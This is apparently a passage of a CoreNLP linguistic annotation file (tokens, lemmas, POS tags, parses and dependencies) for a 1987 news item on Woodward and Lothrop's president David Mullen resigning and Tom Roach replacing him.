text:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="CoreNLP-to-HTML.xsl" type="text/xsl"?>
<root>
  <document>
    <sentences>
      <sentence id="1">
        <tokens>
          <token id="1">
            <word>Woodward</word>
            <lemma>Woodward</lemma>
            <CharacterOffsetBegin>0</CharacterOffsetBegin>
            <CharacterOffsetEnd>8</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="2">
            <word>and</word>
            <lemma>and</lemma>
            <CharacterOffsetBegin>9</CharacterOffsetBegin>
            <CharacterOffsetEnd>12</CharacterOffsetEnd>
            <POS>CC</POS>
          </token>
          <token id="3">
            <word>Lothrop</word>
            <lemma>Lothrop</lemma>
            <CharacterOffsetBegin>13</CharacterOffsetBegin>
            <CharacterOffsetEnd>20</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="4">
            <word>Inc</word>
            <lemma>Inc</lemma>
            <CharacterOffsetBegin>21</CharacterOffsetBegin>
            <CharacterOffsetEnd>24</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="5">
            <word>said</word>
            <lemma>say</lemma>
            <CharacterOffsetBegin>25</CharacterOffsetBegin>
            <CharacterOffsetEnd>29</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="6">
            <word>president</word>
            <lemma>president</lemma>
            <CharacterOffsetBegin>30</CharacterOffsetBegin>
            <CharacterOffsetEnd>39</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="7">
            <word>David</word>
            <lemma>David</lemma>
            <CharacterOffsetBegin>40</CharacterOffsetBegin>
            <CharacterOffsetEnd>45</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="8">
            <word>Mullen</word>
            <lemma>Mullen</lemma>
            <CharacterOffsetBegin>46</CharacterOffsetBegin>
            <CharacterOffsetEnd>52</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="9">
            <word>resigned</word>
            <lemma>resign</lemma>
            <CharacterOffsetBegin>53</CharacterOffsetBegin>
            <CharacterOffsetEnd>61</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="10">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>61</CharacterOffsetBegin>
            <CharacterOffsetEnd>62</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="11">
            <word>and</word>
            <lemma>and</lemma>
            <CharacterOffsetBegin>63</CharacterOffsetBegin>
            <CharacterOffsetEnd>66</CharacterOffsetEnd>
            <POS>CC</POS>
          </token>
          <token id="12">
            <word>will</word>
            <lemma>will</lemma>
            <CharacterOffsetBegin>67</CharacterOffsetBegin>
            <CharacterOffsetEnd>71</CharacterOffsetEnd>
            <POS>MD</POS>
          </token>
          <token id="13">
            <word>be</word>
            <lemma>be</lemma>
            <CharacterOffsetBegin>72</CharacterOffsetBegin>
            <CharacterOffsetEnd>74</CharacterOffsetEnd>
            <POS>VB</POS>
          </token>
          <token id="14">
            <word>replaced</word>
            <lemma>replace</lemma>
            <CharacterOffsetBegin>75</CharacterOffsetBegin>
            <CharacterOffsetEnd>83</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="15">
            <word>by</word>
            <lemma>by</lemma>
            <CharacterOffsetBegin>84</CharacterOffsetBegin>
            <CharacterOffsetEnd>86</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="16">
            <word>Tom</word>
            <lemma>Tom</lemma>
            <CharacterOffsetBegin>87</CharacterOffsetBegin>
            <CharacterOffsetEnd>90</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="17">
            <word>Roach</word>
            <lemma>Roach</lemma>
            <CharacterOffsetBegin>91</CharacterOffsetBegin>
            <CharacterOffsetEnd>96</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="18">
            <word>effective</word>
            <lemma>effective</lemma>
            <CharacterOffsetBegin>97</CharacterOffsetBegin>
            <CharacterOffsetEnd>106</CharacterOffsetEnd>
            <POS>JJ</POS>
          </token>
          <token id="19">
            <word>April</word>
            <lemma>April</lemma>
            <CharacterOffsetBegin>107</CharacterOffsetBegin>
            <CharacterOffsetEnd>112</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="20">
            <word>20</word>
            <lemma>20</lemma>
            <CharacterOffsetBegin>113</CharacterOffsetBegin>
            <CharacterOffsetEnd>115</CharacterOffsetEnd>
            <POS>CD</POS>
          </token>
          <token id="21">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>115</CharacterOffsetBegin>
            <CharacterOffsetEnd>116</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="22">
            <word>1987</word>
            <lemma>1987</lemma>
            <CharacterOffsetBegin>117</CharacterOffsetBegin>
            <CharacterOffsetEnd>121</CharacterOffsetEnd>
            <POS>CD</POS>
          </token>
          <token id="23">
            <word>.</word>
            <lemma>.</lemma>
            <CharacterOffsetBegin>121</CharacterOffsetBegin>
            <CharacterOffsetEnd>122</CharacterOffsetEnd>
            <POS>.</POS>
          </token>
        </tokens>
        <parse>(ROOT (S (NP (NP (NNP Woodward)) (CC and) (NP (NNP Lothrop) (NNP Inc))) (VP (VBD said) (SBAR (S (NP (NN president) (NNP David) (NNP Mullen)) (VP (VP (VBD resigned)) (, ,) (CC and) (VP (MD will) (VP (VB be) (VP (VBN replaced) (PP (IN by) (NP (NP (NNP Tom) (NNP Roach)) (ADJP (JJ effective) (NP-TMP (NNP April) (CD 20) (, ,) (CD 1987)))))))))))) (. .))) </parse>
        <dependencies type="basic-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="5">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="5">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="cc">
            <governor idx="1">Woodward</governor>
            <dependent idx="2">and</dependent>
          </dep>
          <dep type="nn">
            <governor idx="4">Inc</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="conj">
            <governor idx="1">Woodward</governor>
            <dependent idx="4">Inc</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="6">president</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="7">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="9">resigned</governor>
            <dependent idx="8">Mullen</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="5">said</governor>
            <dependent idx="9">resigned</dependent>
          </dep>
          <dep type="cc">
            <governor idx="9">resigned</governor>
            <dependent idx="11">and</dependent>
          </dep>
          <dep type="aux">
            <governor idx="14">replaced</governor>
            <dependent idx="12">will</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="14">replaced</governor>
            <dependent idx="13">be</dependent>
          </dep>
          <dep type="conj">
            <governor idx="9">resigned</governor>
            <dependent idx="14">replaced</dependent>
          </dep>
          <dep type="prep">
            <governor idx="14">replaced</governor>
            <dependent idx="15">by</dependent>
          </dep>
          <dep type="nn">
            <governor idx="17">Roach</governor>
            <dependent idx="16">Tom</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="15">by</governor>
            <dependent idx="17">Roach</dependent>
          </dep>
          <dep type="amod">
            <governor idx="17">Roach</governor>
            <dependent idx="18">effective</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="18">effective</governor>
            <dependent idx="19">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="20">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="22">1987</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="5">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="5">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="nn">
            <governor idx="4">Inc</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="1">Woodward</governor>
            <dependent idx="4">Inc</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="6">president</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="7">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="9">resigned</governor>
            <dependent idx="8">Mullen</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="5">said</governor>
            <dependent idx="9">resigned</dependent>
          </dep>
          <dep type="aux">
            <governor idx="14">replaced</governor>
            <dependent idx="12">will</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="14">replaced</governor>
            <dependent idx="13">be</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="9">resigned</governor>
            <dependent idx="14">replaced</dependent>
          </dep>
          <dep type="nn">
            <governor idx="17">Roach</governor>
            <dependent idx="16">Tom</dependent>
          </dep>
          <dep type="agent">
            <governor idx="14">replaced</governor>
            <dependent idx="17">Roach</dependent>
          </dep>
          <dep type="amod">
            <governor idx="17">Roach</governor>
            <dependent idx="18">effective</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="18">effective</governor>
            <dependent idx="19">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="20">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="22">1987</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-ccprocessed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="5">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="5">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="nn">
            <governor idx="4">Inc</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="1">Woodward</governor>
            <dependent idx="4">Inc</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="5">said</governor>
            <dependent idx="4">Inc</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="6">president</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Mullen</governor>
            <dependent idx="7">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="9">resigned</governor>
            <dependent idx="8">Mullen</dependent>
          </dep>
          <dep type="nsubjpass">
            <governor idx="14">replaced</governor>
            <dependent idx="8">Mullen</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="5">said</governor>
            <dependent idx="9">resigned</dependent>
          </dep>
          <dep type="aux">
            <governor idx="14">replaced</governor>
            <dependent idx="12">will</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="14">replaced</governor>
            <dependent idx="13">be</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="5">said</governor>
            <dependent idx="14">replaced</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="9">resigned</governor>
            <dependent idx="14">replaced</dependent>
          </dep>
          <dep type="nn">
            <governor idx="17">Roach</governor>
            <dependent idx="16">Tom</dependent>
          </dep>
          <dep type="agent">
            <governor idx="14">replaced</governor>
            <dependent idx="17">Roach</dependent>
          </dep>
          <dep type="amod">
            <governor idx="17">Roach</governor>
            <dependent idx="18">effective</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="18">effective</governor>
            <dependent idx="19">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="20">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="19">April</governor>
            <dependent idx="22">1987</dependent>
          </dep>
        </dependencies>
      </sentence>
      <sentence id="2">
        <tokens>
          <token id="1">
            <word>Woodward</word>
            <lemma>Woodward</lemma>
            <CharacterOffsetBegin>123</CharacterOffsetBegin>
            <CharacterOffsetEnd>131</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="2">
            <word>and</word>
            <lemma>and</lemma>
            <CharacterOffsetBegin>132</CharacterOffsetBegin>
            <CharacterOffsetEnd>135</CharacterOffsetEnd>
            <POS>CC</POS>
          </token>
          <token id="3">
            <word>Lothrop</word>
            <lemma>Lothrop</lemma>
            <CharacterOffsetBegin>136</CharacterOffsetBegin>
            <CharacterOffsetEnd>143</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="4">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>143</CharacterOffsetBegin>
            <CharacterOffsetEnd>144</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="5">
            <word>a</word>
            <lemma>a</lemma>
            <CharacterOffsetBegin>145</CharacterOffsetBegin>
            <CharacterOffsetEnd>146</CharacterOffsetEnd>
            <POS>DT</POS>
          </token>
          <token id="6">
            <word>privately</word>
            <lemma>privately</lemma>
            <CharacterOffsetBegin>147</CharacterOffsetBegin>
            <CharacterOffsetEnd>156</CharacterOffsetEnd>
            <POS>RB</POS>
          </token>
          <token id="7">
            <word>held</word>
            <lemma>hold</lemma>
            <CharacterOffsetBegin>157</CharacterOffsetBegin>
            <CharacterOffsetEnd>161</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="8">
            <word>retailer</word>
            <lemma>retailer</lemma>
            <CharacterOffsetBegin>162</CharacterOffsetBegin>
            <CharacterOffsetEnd>170</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="9">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>170</CharacterOffsetBegin>
            <CharacterOffsetEnd>171</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="10">
            <word>said</word>
            <lemma>say</lemma>
            <CharacterOffsetBegin>172</CharacterOffsetBegin>
            <CharacterOffsetEnd>176</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="11">
            <word>Mullen</word>
            <lemma>Mullen</lemma>
            <CharacterOffsetBegin>177</CharacterOffsetBegin>
            <CharacterOffsetEnd>183</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="12">
            <word>has</word>
            <lemma>have</lemma>
            <CharacterOffsetBegin>184</CharacterOffsetBegin>
            <CharacterOffsetEnd>187</CharacterOffsetEnd>
            <POS>VBZ</POS>
          </token>
          <token id="13">
            <word>stated</word>
            <lemma>state</lemma>
            <CharacterOffsetBegin>188</CharacterOffsetBegin>
            <CharacterOffsetEnd>194</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="14">
            <word>his</word>
            <lemma>he</lemma>
            <CharacterOffsetBegin>195</CharacterOffsetBegin>
            <CharacterOffsetEnd>198</CharacterOffsetEnd>
            <POS>PRP$</POS>
          </token>
          <token id="15">
            <word>desire</word>
            <lemma>desire</lemma>
            <CharacterOffsetBegin>199</CharacterOffsetBegin>
            <CharacterOffsetEnd>205</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="16">
            <word>to</word>
            <lemma>to</lemma>
            <CharacterOffsetBegin>206</CharacterOffsetBegin>
            <CharacterOffsetEnd>208</CharacterOffsetEnd>
            <POS>TO</POS>
          </token>
          <token id="17">
            <word>pursure</word>
            <lemma>pursure</lemma>
            <CharacterOffsetBegin>209</CharacterOffsetBegin>
            <CharacterOffsetEnd>216</CharacterOffsetEnd>
            <POS>VB</POS>
          </token>
          <token id="18">
            <word>other</word>
            <lemma>other</lemma>
            <CharacterOffsetBegin>217</CharacterOffsetBegin>
            <CharacterOffsetEnd>222</CharacterOffsetEnd>
            <POS>JJ</POS>
          </token>
          <token id="19">
            <word>business</word>
            <lemma>business</lemma>
            <CharacterOffsetBegin>223</CharacterOffsetBegin>
            <CharacterOffsetEnd>231</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="20">
            <word>interests</word>
            <lemma>interest</lemma>
            <CharacterOffsetBegin>232</CharacterOffsetBegin>
            <CharacterOffsetEnd>241</CharacterOffsetEnd>
            <POS>NNS</POS>
          </token>
          <token id="21">
            <word>.</word>
            <lemma>.</lemma>
            <CharacterOffsetBegin>241</CharacterOffsetBegin>
            <CharacterOffsetEnd>242</CharacterOffsetEnd>
            <POS>.</POS>
          </token>
        </tokens>
        <parse>(ROOT (S (NP (NP (NNP Woodward) (CC and) (NNP Lothrop)) (, ,) (NP (DT a) (ADJP (RB privately) (VBN held)) (NN retailer)) (, ,)) (VP (VBD said) (SBAR (S (NP (NNP Mullen)) (VP (VBZ has) (VP (VBN stated) (NP (PRP$ his) (NN desire) (S (VP (TO to) (VP (VB pursure) (NP (JJ other) (NN business) (NNS interests))))))))))) (. .))) </parse>
        <dependencies type="basic-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="10">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="10">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="cc">
            <governor idx="1">Woodward</governor>
            <dependent idx="2">and</dependent>
          </dep>
          <dep type="conj">
            <governor idx="1">Woodward</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="det">
            <governor idx="8">retailer</governor>
            <dependent idx="5">a</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="7">held</governor>
            <dependent idx="6">privately</dependent>
          </dep>
          <dep type="amod">
            <governor idx="8">retailer</governor>
            <dependent idx="7">held</dependent>
          </dep>
          <dep type="appos">
            <governor idx="1">Woodward</governor>
            <dependent idx="8">retailer</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="13">stated</governor>
            <dependent idx="11">Mullen</dependent>
          </dep>
          <dep type="aux">
            <governor idx="13">stated</governor>
            <dependent idx="12">has</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="10">said</governor>
            <dependent idx="13">stated</dependent>
          </dep>
          <dep type="poss">
            <governor idx="15">desire</governor>
            <dependent idx="14">his</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="13">stated</governor>
            <dependent idx="15">desire</dependent>
          </dep>
          <dep type="aux">
            <governor idx="17">pursure</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="15">desire</governor>
            <dependent idx="17">pursure</dependent>
          </dep>
          <dep type="amod">
            <governor idx="20">interests</governor>
            <dependent idx="18">other</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">interests</governor>
            <dependent idx="19">business</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="17">pursure</governor>
            <dependent idx="20">interests</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="10">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="10">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="1">Woodward</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="det">
            <governor idx="8">retailer</governor>
            <dependent idx="5">a</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="7">held</governor>
            <dependent idx="6">privately</dependent>
          </dep>
          <dep type="amod">
            <governor idx="8">retailer</governor>
            <dependent idx="7">held</dependent>
          </dep>
          <dep type="appos">
            <governor idx="1">Woodward</governor>
            <dependent idx="8">retailer</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="13">stated</governor>
            <dependent idx="11">Mullen</dependent>
          </dep>
          <dep type="aux">
            <governor idx="13">stated</governor>
            <dependent idx="12">has</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="10">said</governor>
            <dependent idx="13">stated</dependent>
          </dep>
          <dep type="poss">
            <governor idx="15">desire</governor>
            <dependent idx="14">his</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="13">stated</governor>
            <dependent idx="15">desire</dependent>
          </dep>
          <dep type="aux">
            <governor idx="17">pursure</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="15">desire</governor>
            <dependent idx="17">pursure</dependent>
          </dep>
          <dep type="amod">
            <governor idx="20">interests</governor>
            <dependent idx="18">other</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">interests</governor>
            <dependent idx="19">business</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="17">pursure</governor>
            <dependent idx="20">interests</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-ccprocessed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="10">said</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="10">said</governor>
            <dependent idx="1">Woodward</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="1">Woodward</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="10">said</governor>
            <dependent idx="3">Lothrop</dependent>
          </dep>
          <dep type="det">
            <governor idx="8">retailer</governor>
            <dependent idx="5">a</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="7">held</governor>
            <dependent idx="6">privately</dependent>
          </dep>
          <dep type="amod">
            <governor idx="8">retailer</governor>
            <dependent idx="7">held</dependent>
          </dep>
          <dep type="appos">
            <governor idx="1">Woodward</governor>
            <dependent idx="8">retailer</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="13">stated</governor>
            <dependent idx="11">Mullen</dependent>
          </dep>
          <dep type="aux">
            <governor idx="13">stated</governor>
            <dependent idx="12">has</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="10">said</governor>
            <dependent idx="13">stated</dependent>
          </dep>
          <dep type="poss">
            <governor idx="15">desire</governor>
            <dependent idx="14">his</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="13">stated</governor>
            <dependent idx="15">desire</dependent>
          </dep>
          <dep type="aux">
            <governor idx="17">pursure</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="15">desire</governor>
            <dependent idx="17">pursure</dependent>
          </dep>
          <dep type="amod">
            <governor idx="20">interests</governor>
            <dependent idx="18">other</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">interests</governor>
            <dependent idx="19">business</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="17">pursure</governor>
            <dependent idx="20">interests</dependent>
          </dep>
        </dependencies>
      </sentence>
      <sentence id="3">
        <tokens>
          <token id="1">
            <word>Roach</word>
            <lemma>Roach</lemma>
            <CharacterOffsetBegin>243</CharacterOffsetBegin>
            <CharacterOffsetEnd>248</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="2">
            <word>joined</word>
            <lemma>join</lemma>
            <CharacterOffsetBegin>249</CharacterOffsetBegin>
            <CharacterOffsetEnd>255</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="3">
            <word>J.W.</word>
            <lemma>J.W.</lemma>
            <CharacterOffsetBegin>256</CharacterOffsetBegin>
            <CharacterOffsetEnd>260</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="4">
            <word>Robinson</word>
            <lemma>Robinson</lemma>
            <CharacterOffsetBegin>261</CharacterOffsetBegin>
            <CharacterOffsetEnd>269</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="5">
            <word>Inc</word>
            <lemma>Inc</lemma>
            <CharacterOffsetBegin>270</CharacterOffsetBegin>
            <CharacterOffsetEnd>273</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="6">
            <word>of</word>
            <lemma>of</lemma>
            <CharacterOffsetBegin>274</CharacterOffsetBegin>
            <CharacterOffsetEnd>276</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="7">
            <word>Los</word>
            <lemma>Los</lemma>
            <CharacterOffsetBegin>277</CharacterOffsetBegin>
            <CharacterOffsetEnd>280</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="8">
            <word>Angeles</word>
            <lemma>Angeles</lemma>
            <CharacterOffsetBegin>281</CharacterOffsetBegin>
            <CharacterOffsetEnd>288</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="9">
            <word>as</word>
            <lemma>as</lemma>
            <CharacterOffsetBegin>289</CharacterOffsetBegin>
            <CharacterOffsetEnd>291</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="10">
            <word>chairman</word>
            <lemma>chairman</lemma>
            <CharacterOffsetBegin>292</CharacterOffsetBegin>
            <CharacterOffsetEnd>300</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="11">
            <word>in</word>
            <lemma>in</lemma>
            <CharacterOffsetBegin>301</CharacterOffsetBegin>
            <CharacterOffsetEnd>303</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="12">
            <word>March</word>
            <lemma>March</lemma>
            <CharacterOffsetBegin>304</CharacterOffsetBegin>
            <CharacterOffsetEnd>309</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="13">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>309</CharacterOffsetBegin>
            <CharacterOffsetEnd>310</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="14">
            <word>1986</word>
            <lemma>1986</lemma>
            <CharacterOffsetBegin>311</CharacterOffsetBegin>
            <CharacterOffsetEnd>315</CharacterOffsetEnd>
            <POS>CD</POS>
          </token>
          <token id="15">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>315</CharacterOffsetBegin>
            <CharacterOffsetEnd>316</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="16">
            <word>resigning</word>
            <lemma>resign</lemma>
            <CharacterOffsetBegin>317</CharacterOffsetBegin>
            <CharacterOffsetEnd>326</CharacterOffsetEnd>
            <POS>VBG</POS>
          </token>
          <token id="17">
            <word>shortly</word>
            <lemma>shortly</lemma>
            <CharacterOffsetBegin>327</CharacterOffsetBegin>
            <CharacterOffsetEnd>334</CharacterOffsetEnd>
            <POS>RB</POS>
          </token>
          <token id="18">
            <word>after</word>
            <lemma>after</lemma>
            <CharacterOffsetBegin>335</CharacterOffsetBegin>
            <CharacterOffsetEnd>340</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="19">
            <word>parent</word>
            <lemma>parent</lemma>
            <CharacterOffsetBegin>341</CharacterOffsetBegin>
            <CharacterOffsetEnd>347</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="20">
            <word>company</word>
            <lemma>company</lemma>
            <CharacterOffsetBegin>348</CharacterOffsetBegin>
            <CharacterOffsetEnd>355</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="21">
            <word>Associated</word>
            <lemma>associate</lemma>
            <CharacterOffsetBegin>356</CharacterOffsetBegin>
            <CharacterOffsetEnd>366</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="22">
            <word>Dry</word>
            <lemma>Dry</lemma>
            <CharacterOffsetBegin>367</CharacterOffsetBegin>
            <CharacterOffsetEnd>370</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="23">
            <word>Goods</word>
            <lemma>Goods</lemma>
            <CharacterOffsetBegin>371</CharacterOffsetBegin>
            <CharacterOffsetEnd>376</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="24">
            <word>was</word>
            <lemma>be</lemma>
            <CharacterOffsetBegin>377</CharacterOffsetBegin>
            <CharacterOffsetEnd>380</CharacterOffsetEnd>
            <POS>VBD</POS>
          </token>
          <token id="25">
            <word>acquired</word>
            <lemma>acquire</lemma>
            <CharacterOffsetBegin>381</CharacterOffsetBegin>
            <CharacterOffsetEnd>389</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="26">
            <word>by</word>
            <lemma>by</lemma>
            <CharacterOffsetBegin>390</CharacterOffsetBegin>
            <CharacterOffsetEnd>392</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="27">
            <word>May</word>
            <lemma>May</lemma>
            <CharacterOffsetBegin>393</CharacterOffsetBegin>
            <CharacterOffsetEnd>396</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="28">
            <word>Co.</word>
            <lemma>Co.</lemma>
            <CharacterOffsetBegin>397</CharacterOffsetBegin>
            <CharacterOffsetEnd>399</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="29">
            <word>.</word>
            <lemma>.</lemma>
            <CharacterOffsetBegin>399</CharacterOffsetBegin>
            <CharacterOffsetEnd>400</CharacterOffsetEnd>
            <POS>.</POS>
          </token>
        </tokens>
        <parse>(ROOT (S (NP (NNP Roach)) (VP (VBD joined) (NP (NP (NNP J.W.) (NNP Robinson) (NNP Inc)) (PP (IN of) (NP (NP (NNP Los) (NNP Angeles)) (PP (IN as) (NP (NN chairman)))))) (PP (IN in) (NP (NP (NNP March)) (, ,) (NP (CD 1986)))) (, ,) (S (VP (VBG resigning) (ADVP (RB shortly)) (SBAR (IN after) (S (NP (NN parent) (NN company)) (VP (VBD Associated) (SBAR (S (NP (NNP Dry) (NNP Goods)) (VP (VBD was) (VP (VBN acquired) (PP (IN by) (NP (NNP May) (NNP Co.))))))))))))) (. .))) </parse>
        <dependencies type="basic-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="2">joined</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="2">joined</governor>
            <dependent idx="1">Roach</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="3">J.W.</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="4">Robinson</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="2">joined</governor>
            <dependent idx="5">Inc</dependent>
          </dep>
          <dep type="prep">
            <governor idx="5">Inc</governor>
            <dependent idx="6">of</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Angeles</governor>
            <dependent idx="7">Los</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="6">of</governor>
